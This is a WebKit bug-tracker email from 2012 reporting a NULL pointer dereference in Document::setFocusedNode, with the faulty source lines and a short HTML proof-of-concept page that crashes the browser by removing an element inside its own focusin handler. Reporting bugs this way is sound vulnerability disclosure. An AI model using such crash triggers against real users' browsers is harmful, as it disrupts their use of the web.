[Webkit-unassigned] [Bug 76656] New: NULL deref on Webkit at bool Document::setFocusedNode(PassRefPtr<Node> prpNewFocusedNode)

bugzilla-daemon at webkit.org bugzilla-daemon at webkit.org
Thu Jan 19 12:44:22 PST 2012


https://bugs.webkit.org/show_bug.cgi?id=76656

           Summary: NULL deref on Webkit at bool
                    Document::setFocusedNode(PassRefPtr<Node>
                    prpNewFocusedNode)
           Product: WebKit
           Version: 528+ (Nightly build)
          Platform: All
        OS/Version: All
            Status: UNCONFIRMED
          Severity: Normal
          Priority: P2
         Component: WebCore JavaScript
        AssignedTo: webkit-unassigned at lists.webkit.org
        ReportedBy: fjserna at gmail.com


Originally I filled this on Chromium (http://code.google.com/p/chromium/issues/detail?id=110464) but it is a WebKit issue. 

NULL deref on Webkit at bool Document::setFocusedNode(PassRefPtr<Node> prpNewFocusedNode)

Root cause is here: Problem is the second dispatch without checking m_focusedNode == NULL

3435            m_focusedNode->dispatchFocusInEvent(eventNames().focusinEvent, oldFocusedNode); // DOM level 3 bubbling focus event.
3436            // FIXME: We should remove firing DOMFocusInEvent event when we are sure no content depends
3437            // on it, probably when <rdar://problem/8503958> is m.
3438            m_focusedNode->dispatchFocusInEvent(eventNames().DOMFocusInEvent, oldFocusedNode); // DOM level 2 for compatibility.

Proof of concept:

<html>
  <head>
      <title></title>
      <script language="JavaScript">

      function run() {

        document.getElementById("h6_00").addEventListener('focusin', function () { try { this.parentNode.removeChild(this); } catch(e) {} } , false); 
        document.getElementById("h6_00").focus();

      }

      </script>
  </head>

  <body onload="javascript: run();">

    <h1 tabindex="0" id="h6_00" ></h1>

  </body>
</html>

-- 
Configure bugmail: https://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug.



More information about the webkit-unassigned mailing list